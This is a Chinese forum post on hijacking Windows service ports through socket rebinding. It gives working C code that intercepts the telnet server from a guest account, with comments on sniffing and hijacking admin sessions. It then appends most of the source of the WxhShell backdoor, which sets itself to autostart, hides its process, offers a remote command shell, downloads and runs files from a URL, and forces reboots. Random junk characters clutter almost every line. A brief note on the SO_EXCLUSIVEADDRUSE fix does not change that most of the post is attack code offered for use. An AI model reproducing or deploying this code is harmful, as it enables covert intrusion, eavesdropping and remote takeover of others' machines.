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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `q@5d&d`j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z ]V^s8>  
B4Ko,=pg  
  saddr.sin_family = AF_INET; G>& Tap>  
9)9p<(b $  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hd^?mZ  
x1VBO.t=*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d}2tqPya  
!<BJg3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >slD.rb]  
hd0d gc  
  这意味着什么?意味着可以进行如下的攻击: 4jbqV  
[#hpWNez(>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !W4A 9Th  
E!nEB(FD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R9@Dd  
'Z5l'Ac  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jh`Pq,B:  
lQ(I/[qVd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5tfD*j n  
RdaAS{>Sk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z=%&?V  
{BPNb{dBKr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &\6Buw_  
Kcf1$`F24  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pn"TFapJA  
G8AT] =  
  #include y.vYT{^  
  #include a4{~.Mp  
  #include wzX(]BG  
  #include    bvn%E H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KTLq~Ru  
  int main() RBuerap  
  { QiO4fS'~W  
  WORD wVersionRequested; 8.JFQ/) i  
  DWORD ret; _C"=Hy{  
  WSADATA wsaData; {o>51fXc)  
  BOOL val; D/U=zDpiB  
  SOCKADDR_IN saddr; V Ioqn$  
  SOCKADDR_IN scaddr; OeMI  
  int err; }SD*@w  
  SOCKET s; : ;l9to  
  SOCKET sc; )T0%<(J  
  int caddsize; JJC Y M  
  HANDLE mt; SfTTB'9  
  DWORD tid;   pzr\<U`  
  wVersionRequested = MAKEWORD( 2, 2 ); a%nksuP3  
  err = WSAStartup( wVersionRequested, &wsaData ); ]F'o  
  if ( err != 0 ) { [p Y1\$,  
  printf("error!WSAStartup failed!\n"); Budo9z_w  
  return -1; :<}1as! eo  
  } wmV7g7t6  
  saddr.sin_family = AF_INET; YzA6*2  
   78~;j1^6u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +jD*Jtb<  
6Dl]d %.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]#NJ[IZb  
  saddr.sin_port = htons(23); ~SzHIVj:6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g$/C-j4A[  
  { ]nIH0k3y  
  printf("error!socket failed!\n"); tRZA`&  
  return -1; C}'Tmi  
  } ~7 w"$H8  
  val = TRUE; y|b&Rup  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'G)UIjl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (/i?Fd  
  { 8pXului  
  printf("error!setsockopt failed!\n"); Dve+ #H6N  
  return -1; $eu-8E'  
  } vk><S|[n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )JsmzGC0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L,\wB7t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b[/uSwvi  
p)e?0m26  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .P:mY C  
  { w<|Qezi3 w  
  ret=GetLastError(); Z1dLC'/b]  
  printf("error!bind failed!\n"); VN/v]  
  return -1; huat,zLS  
  } %G`GdG}T  
  listen(s,2); ^'G,sZ6'Nh  
  while(1) Vi*HG &DD  
  { (3VV(18  
  caddsize = sizeof(scaddr); =O o4O CF2  
  //接受连接请求 7[I%UP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '$0~PH&  
  if(sc!=INVALID_SOCKET) w D}g\{P  
  { /idrb c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5jey%)=  
  if(mt==NULL) s(0"r.  
  { Hx?OCGj=S*  
  printf("Thread Creat Failed!\n"); yx\I&\i  
  break; ^q}cy1"j"  
  } zgn~UC6&  
  } 9Hm>@dBhM  
  CloseHandle(mt); wa%;'M&  
  } AuIg=-xR  
  closesocket(s); )`,Y ^`F2  
  WSACleanup(); ;&} rO.0  
  return 0; ^Q9!DF m  
  }   Sg+0w7:2  
  DWORD WINAPI ClientThread(LPVOID lpParam) b[Qe} `W  
  { ^ rh{  
  SOCKET ss = (SOCKET)lpParam; 0-at#r:  
  SOCKET sc; 2tqj]i  
  unsigned char buf[4096]; CzfGb4  
  SOCKADDR_IN saddr; |r<#>~*  
  long num; +t7n6  
  DWORD val; ?,z/+/:  
  DWORD ret; a d#4W0@S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Oe)B.{;Ph  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p*C|kEqk  
  saddr.sin_family = AF_INET; ;7*R;/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G?dxLRy.do  
  saddr.sin_port = htons(23); nXJG4$G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) We)l_>G  
  { a+=.(g  
  printf("error!socket failed!\n"); DFM~jlH  
  return -1; (N^tg8Z<  
  } 6d{&1-@>  
  val = 100; (iJ9ekB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3aUWQP2  
  { J.Fy0W@+k4  
  ret = GetLastError(); [4 y7tjar^  
  return -1; $2/v8  
  } ,LodP%%UV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hw 1:zro  
  { ]9PQKC2&  
  ret = GetLastError(); s9[54 7?`  
  return -1; zEy,aa :M  
  } TjY-C m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kd!.sB/%  
  { | IB4-p  
  printf("error!socket connect failed!\n"); P}~nL  
  closesocket(sc); f >$V:e([  
  closesocket(ss); )8&;Q9'o  
  return -1; jBMGm"NE  
  } 3R& FzLs  
  while(1) @;t6Slc"~  
  { [ f;o3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *Y`c.n"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b]6@ O8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \(`8ng]vs  
  num = recv(ss,buf,4096,0); L+D9ZE]  
  if(num>0) b <z)4  
  send(sc,buf,num,0); h/pm$9A  
  else if(num==0) C @nA*  
  break; I%M"I0FV  
  num = recv(sc,buf,4096,0); GV0-"9uwX~  
  if(num>0) DIBoIWSuR  
  send(ss,buf,num,0); ?rxq//S2  
  else if(num==0) $2w][ d1  
  break; d6f+[<<  
  } lPZYd 8  
  closesocket(ss); +x]3 - s  
  closesocket(sc); H;c3 x"  
  return 0 ; qAW?\*n5N  
  } TD-o-*mO  
v}sk %f  
svvl`|n%  
========================================================== M2!2 J  
i`^[_  
下边附上一个代码,,WXhSHELL YR-Ge  
>/.w80<'  
========================================================== #?C.%kD  
0s!';g Q  
#include "stdafx.h" de_%#k1:L  
O)$Pvll  
#include <stdio.h> tA8O( 9OV  
#include <string.h> Xe2Zf  
#include <windows.h> )skz_a}]8  
#include <winsock2.h> BcxALRWE  
#include <winsvc.h> "cz'|z`  
#include <urlmon.h> n?:%>Os$  
L%HFsuIO-  
#pragma comment (lib, "Ws2_32.lib") @p<tJR"M  
#pragma comment (lib, "urlmon.lib") ]sZ! -q'8  
Seh(G  
#define MAX_USER   100 // 最大客户端连接数 3|(<]@ $  
#define BUF_SOCK   200 // sock buffer #HTq \J!  
#define KEY_BUFF   255 // 输入 buffer YY4q99^K  
-dS@ l'$  
#define REBOOT     0   // 重启 }D[j6+E  
#define SHUTDOWN   1   // 关机 p(!d,YSE  
*f o>  
#define DEF_PORT   5000 // 监听端口  7 T  
722:2 {  
#define REG_LEN     16   // 注册表键长度 (vFO'jtcB-  
#define SVC_LEN     80   // NT服务名长度 Y/ I32@  
k}0b7er=R  
// 从dll定义API "1Y'VpKm(~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yT-qT_.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a4&Aw7"X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CUnBi?Mi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b\S~uFq6  
|B {*so]  
// wxhshell配置信息 *RM 3 _  
struct WSCFG { L6./5`bs  
  int ws_port;         // 监听端口 xF6byTi  
  char ws_passstr[REG_LEN]; // 口令 l5/gM[0_7  
  int ws_autoins;       // 安装标记, 1=yes 0=no B \LmE+a>  
  char ws_regname[REG_LEN]; // 注册表键名 SW}?y%~  
  char ws_svcname[REG_LEN]; // 服务名 `\$EPUM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MdDL?ev  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5?q 6g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y94S!TbB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #z+?t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &B\ sG=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ' eh }t  
a"&cm'\lL  
}; +c$:#9$ |  
_FxeZ4\  
// default Wxhshell configuration @{"?fqo  
struct WSCFG wscfg={DEF_PORT, MK(~  
    "xuhuanlingzhe", s:3b.*t<  
    1, !Ahxi);a  
    "Wxhshell", ERy=lP~gV  
    "Wxhshell", xp}M5|   
            "WxhShell Service", 20# V?hX3  
    "Wrsky Windows CmdShell Service", erh ez  
    "Please Input Your Password: ", @`qB[<t8:<  
  1, d ehK#8  
  "http://www.wrsky.com/wxhshell.exe", Xe&p.v  
  "Wxhshell.exe" qKrxln/T  
    }; waU2C2!w  
h[mJ=LIrg  
// 消息定义模块 wjfq"7Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6qSsr]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {1gT{2/~@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^J;rW3#N8  
char *msg_ws_ext="\n\rExit.";  C TKeY  
char *msg_ws_end="\n\rQuit."; ]iMqIh"  
char *msg_ws_boot="\n\rReboot..."; Z~].v._YV)  
char *msg_ws_poff="\n\rShutdown..."; Zo,066'+[.  
char *msg_ws_down="\n\rSave to "; L{rd',  
W{c Z7$d  
char *msg_ws_err="\n\rErr!"; GVhy }0|  
char *msg_ws_ok="\n\rOK!"; hr!'  
{ [3xi`0-  
char ExeFile[MAX_PATH]; KP&xk1 3)  
int nUser = 0; O7p=N8V  
HANDLE handles[MAX_USER]; L5'?.9]  
int OsIsNt; [{`2FR:Cd  
Q' Tg0,,S  
SERVICE_STATUS       serviceStatus; \ef:H&r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^HxIy;EQ<z  
I1 Otu~%d  
// 函数声明 %/ctt_p0x  
int Install(void); B77`azwF  
int Uninstall(void); SsPZva  
int DownloadFile(char *sURL, SOCKET wsh); 9F[_xe@  
int Boot(int flag); [X91nUz#  
void HideProc(void); wh)F&@6 R!  
int GetOsVer(void); Nv^b yWqu  
int Wxhshell(SOCKET wsl); R a"hdxH  
void TalkWithClient(void *cs); 5YneoM]Q  
int CmdShell(SOCKET sock); >7PNl\=gG  
int StartFromService(void); K?Sy ?Kz  
int StartWxhshell(LPSTR lpCmdLine); Au6Y]  
.)SR3?   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9VanR ::XX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `ZbFky{  
!*f$*,=^  
// 数据结构和表定义 [2Zl '+  
SERVICE_TABLE_ENTRY DispatchTable[] = skBD2V4  
{ oEX^U4/=  
{wscfg.ws_svcname, NTServiceMain}, 91]sO%3  
{NULL, NULL} k<5g  
}; >ZW|wpO  
Z/dhp0k  
// 自我安装 I]DD5l}\  
int Install(void) gJCZ9{Nl  
{ }8PO m#  
  char svExeFile[MAX_PATH]; tt#dO@G#Fe  
  HKEY key; 6oKdw|(Q#  
  strcpy(svExeFile,ExeFile); 'u E;8.,  
.T)wG;+  
// 如果是win9x系统,修改注册表设为自启动 TkJ[N4'0  
if(!OsIsNt) { #f< v%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u`&lTJgF/O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RWGf]V]6  
  RegCloseKey(key); TDUY&1[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #qh ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ H~zN]3^  
  RegCloseKey(key);  vP=68muD  
  return 0; O=;jDWE  
    } 6T4I,XrY_F  
  } bK.*v4RG  
} WN<g _8QR  
else { U2l3E*O  
,uAp;"YJeV  
// 如果是NT以上系统,安装为系统服务 Bp3E)l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zh|9\lf  
if (schSCManager!=0) JXM]tV  
{ uKd4+Km  
  SC_HANDLE schService = CreateService L,[Q{:CS  
  ( ]8}51y8  
  schSCManager, yu)^s!UY;  
  wscfg.ws_svcname, 0ZM(heQ  
  wscfg.ws_svcdisp, b>Y{,`E3  
  SERVICE_ALL_ACCESS, R(`:~@ 3\6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !?(7g2NP)  
  SERVICE_AUTO_START, tAF?. \x"g  
  SERVICE_ERROR_NORMAL, #{PwEX !Ct  
  svExeFile, -(t7>s  
  NULL, z9*e%$+S  
  NULL, h693TS_N  
  NULL, <^'{=A>  
  NULL, 2ozh!8aL  
  NULL %IX)+ Lp`  
  ); jx]P:]  
  if (schService!=0) * <\K-NSL  
  { Xv|=RNz  
  CloseServiceHandle(schService); @phVfP"M  
  CloseServiceHandle(schSCManager); \ l#eW x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KWZhCS?[(  
  strcat(svExeFile,wscfg.ws_svcname); 3iIy_nWC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )@X0'X<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aL( hWE  
  RegCloseKey(key); |Ha#2pt{bc  
  return 0; vWZXb `  
    } u0c}[BAF  
  } iN[x *A|h  
  CloseServiceHandle(schSCManager); dF\#:[B  
} w?8SQI,~X  
} ;~EQS.Qp  
5$: toL  
return 1; EU%,tp   
} ^>?=L\[  
!: ^q_q4  
// 自我卸载 %'yrIR  
int Uninstall(void) <;6{R#Tuh  
{ @M]_],  
  HKEY key; "FWx;65CR  
,|{`(y/v  
if(!OsIsNt) { p 1'l D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,^1zG  
  RegDeleteValue(key,wscfg.ws_regname); mK[Z#obc=  
  RegCloseKey(key); RZzHlZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n7cy[%yT  
  RegDeleteValue(key,wscfg.ws_regname);  ch8a  
  RegCloseKey(key); h 6Z:+  
  return 0; `8ac;b  
  } f9W:-00QD  
} kFv*>>X`  
} Zd6ik&S   
else { gvA}s/   
yQiY:SH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -GA F>  
if (schSCManager!=0) x9vSekV  
{ G}fB d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @kWL "yy,  
  if (schService!=0) +e-F`k  
  { }l|S]m!  
  if(DeleteService(schService)!=0) { 6O As%QZ  
  CloseServiceHandle(schService); #$I@V4O;#  
  CloseServiceHandle(schSCManager); D\AVZ76F1  
  return 0; Uj):}xgi'  
  } l1)~WqhE}  
  CloseServiceHandle(schService);  X0VS a{  
  } >u?.gJm~  
  CloseServiceHandle(schSCManager); OG/b5U  
} At'CT5=  
} DB5J3r81  
iT>u&0B-  
return 1; R}ki%i5|  
} 1f`De`zXzr  
:A8}x=K  
// 从指定url下载文件 H~a ~ 'tm  
int DownloadFile(char *sURL, SOCKET wsh) fQJ`&9m*BF  
{ qq/>E*~  
  HRESULT hr; d:@+dS  
char seps[]= "/"; <+_XGOt0<  
char *token; >R+-mP!nj  
char *file; X zJ#)}f  
char myURL[MAX_PATH]; {^WK#$]  
char myFILE[MAX_PATH]; >A$L&8'C  
566!T_  
strcpy(myURL,sURL); _MBhwNBxZ  
  token=strtok(myURL,seps); hOY@vm&  
  while(token!=NULL) >}+{;d  
  { xB *b7-a  
    file=token; `tkoS  
  token=strtok(NULL,seps); fp)SZu_*  
  }  g2vm]j  
 U?*zb  
GetCurrentDirectory(MAX_PATH,myFILE); 3~~X,ZL  
strcat(myFILE, "\\"); Mg;pNK\n  
strcat(myFILE, file); ~_\Ra%  
  send(wsh,myFILE,strlen(myFILE),0); S6<o?X9,I  
send(wsh,"...",3,0); ]pn U"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |U%NPw5  
  if(hr==S_OK) 'J,UKK\5  
return 0; (S~kyU!)0  
else q Gk.7wf%  
return 1; Q@VA@N=w  
79T_9}M  
} Uwc%'=@  
X:GRjoa  
// 系统电源模块 &C9IR,&  
int Boot(int flag) AYAU  
{ \@gV$+{9  
  HANDLE hToken; 6}^x#9\  
  TOKEN_PRIVILEGES tkp; y2A\7&7  
@t%da^-HS"  
  if(OsIsNt) { 74Jx\(d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \ND]x]5d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UPhO =G  
    tkp.PrivilegeCount = 1; X+4Uh I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d@ZDIy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h4hAzFQ.s  
if(flag==REBOOT) { T3wTMbZ!VK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :zHSy&i`  
  return 0; q"VmuQ  
} =XfvPBA  
else { 8<VDp Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !db=Iz5)  
  return 0; @]Jq28  
} q8{Bx03m6  
  } imM!Me 0TE  
  else { ,} t%7I  
if(flag==REBOOT) { ug9Ja)1|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;jzJ6~<  
  return 0; K *@?BE  
} 56Wh<i3  
else { 3f`Uoh+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 56pj(}eq  
  return 0; G4|C227EO  
} {sw|bLo|+  
} 0~nX7  
Ua}R3^_)a  
return 1; x6/u+Urn  
} Fp.eucRxP  
7ys' [G|}r  
// win9x进程隐藏模块 @K"$M>n$Z  
void HideProc(void) -M{s zH  
{ G#7*O`  
mS%4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qz` -?,pF  
  if ( hKernel != NULL ) +3))G  
  { ]xS%E r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ie1~QQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WI1Y P0V  
    FreeLibrary(hKernel); WL+EpNKSf  
  } T!x/^  
E2zL-ft.  
return; 4rhHvp  
} @WazSL;N  
(Aw@}!  
// 获取操作系统版本 \;XJ$~>  
int GetOsVer(void) k)+{Y v*  
{ }hn?4ny  
  OSVERSIONINFO winfo; _N5pxe`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 27Gff(  
  GetVersionEx(&winfo); }0&Fu?sP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ub?dfS9$_  
  return 1;  KcT(/!  
  else -o/Vp>_UOE  
  return 0; LuRCkKJ  
} X!hzpg(`hR  
=sW K;`  
// 客户端句柄模块 'l<#;{  
int Wxhshell(SOCKET wsl) m+M^we*R  
{ HL{aqT2  
  SOCKET wsh; <8(q.  
  struct sockaddr_in client; ftn10TO*  
  DWORD myID; @0@WklAJA  
/R|?v{S1  
  while(nUser<MAX_USER) Da<`| l  
{ @Mya|zb  
  int nSize=sizeof(client); IfH/~EtX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W2<'b05  
  if(wsh==INVALID_SOCKET) return 1; 'z9 1aNG]  
oyiG04H&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n{W(8K6d@[  
if(handles[nUser]==0) ,L%]}8EL"  
  closesocket(wsh); M[985bl  
else ~JRq :  
  nUser++; Wt%Wpb8  
  } !}} )f/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2a-]TVL3  
[#!Y7Ede  
  return 0; /sYr?b!/<6  
} 8}BM`@MG  
1#L%Q(G  
// 关闭 socket P:Q&lnC  
void CloseIt(SOCKET wsh) dOaOWMrfdf  
{ 2(uh7#Q  
closesocket(wsh); y=Eb->a){  
nUser--;  3B]E2  
ExitThread(0); #+<YFm\i  
} x'-gvbj!  
/QB;0PrE  
// 客户端请求句柄 LmY[{.'tX  
void TalkWithClient(void *cs) Swf%WuDj  
{ (<.\v@7HC  
papMC"<g$  
  SOCKET wsh=(SOCKET)cs; 7Tp +]"bL  
  char pwd[SVC_LEN]; 3Z~_6P^ +N  
  char cmd[KEY_BUFF]; }S*]#jr&  
char chr[1]; |A68+(3u  
int i,j; 0OlT^  
]fDb|s48  
  while (nUser < MAX_USER) { _|;d D  
{.U:Ce  
if(wscfg.ws_passstr) { ;0| :.q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p! k~uf U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k v_t6(qd  
  //ZeroMemory(pwd,KEY_BUFF); qQf NT.  
      i=0; tW!*W?  
  while(i<SVC_LEN) { ?}KD<R  
J>M9t%f@  
  // 设置超时 \>9^(N  
  fd_set FdRead; l_;6xkv4  
  struct timeval TimeOut; %INkuNa8\  
  FD_ZERO(&FdRead); hKg +A  
  FD_SET(wsh,&FdRead); IPn!iv)  
  TimeOut.tv_sec=8; W2%@}IDm  
  TimeOut.tv_usec=0; J3'q.Pc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UFZOu%Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HP7~Zn)c  
0`V=x+*,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0i5S=L`j  
  pwd=chr[0]; $U/lm;{%  
  if(chr[0]==0xd || chr[0]==0xa) { *" OlO}o  
  pwd=0; *N: $,xf  
  break; : ^p aI  
  } 5MYdLAjV  
  i++; fVZ9 2Xw B  
    } >Q_ '[!S  
wQ/.3V[  
  // 如果是非法用户,关闭 socket z&c}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ -Xtb m  
} |aU8WRq  
0)zJG |  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <H#0pFB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _PGd\>Ve  
Xe:rPxZf~  
while(1) { V$FZVG/@#  
NB44GP1-@  
  ZeroMemory(cmd,KEY_BUFF); +BO kHXk1  
-awG1 4%  
      // 自动支持客户端 telnet标准   Kwm_Y5`A  
  j=0; X. Ur`X  
  while(j<KEY_BUFF) { LN.*gG l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \N-3JOVy  
  cmd[j]=chr[0]; F+NX [  
  if(chr[0]==0xa || chr[0]==0xd) { U8gj\G\`  
  cmd[j]=0; $y.0h(  
  break; #Muh|P]%\  
  } 3(t3r::&  
  j++; J"S(GL  
    } g'w"U9tjO  
"1XTgCu\  
  // 下载文件 )/[L)-~y~  
  if(strstr(cmd,"http://")) { XM"Qs.E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G=gU|& (  
  if(DownloadFile(cmd,wsh)) }/\`'LQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ntUxPox.  
  else p{v*/<.;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zl'/Mx g  
  } h-O;5.m-P  
  else { 3*\Q]|SI!  
liy/uZ  
    switch(cmd[0]) { \ qq  
  Zv@ Fr9m  
  // 帮助 N5`z S79W  
  case '?': { ? F!c"+C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &w`DF,k|  
    break; Q {~$7J  
  } $B<:SuV#  
  // 安装 u>vvW|OB[  
  case 'i': { lIx./Nf  
    if(Install()) KXl!VD,#`=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TF!v,cX  
    else p_]b=3wt~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -F*vN'  
    break; ~:0w%  
    } oP4+:r)LKD  
  // 卸载 <s\ZqL$ f  
  case 'r': { h6IXD N  
    if(Uninstall()) fE)o-q6Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^A=tk!C  
    else ^Z\"d#A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .p o,.}  
    break; &Ruq8n<  
    } mvTp,^1  
  // 显示 wxhshell 所在路径 Jd v;+HN[  
  case 'p': { '3sySsD&O  
    char svExeFile[MAX_PATH]; Ol h{<~Fv  
    strcpy(svExeFile,"\n\r"); <Uj9~yVN]  
      strcat(svExeFile,ExeFile); X6(s][Wn  
        send(wsh,svExeFile,strlen(svExeFile),0); u8%X~K\  
    break; h~CLJoK<  
    } |6^%_kO!|  
  // 重启 75> Ok/  
  case 'b': { .L"IG=Uh#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $)X8'1%6  
    if(Boot(REBOOT)) KUm?gFh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7Qel,  
    else { ]e7?l/N[  
    closesocket(wsh); e3p:lu  
    ExitThread(0); h7T),UL  
    } -/Wf iE  
    break; nSBhz  
    } &dK !+  
  // 关机 "dDrw ]P;  
  case 'd': { 9 6#]P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7m]J7 +4  
    if(Boot(SHUTDOWN)) pWv1XTs@t:  
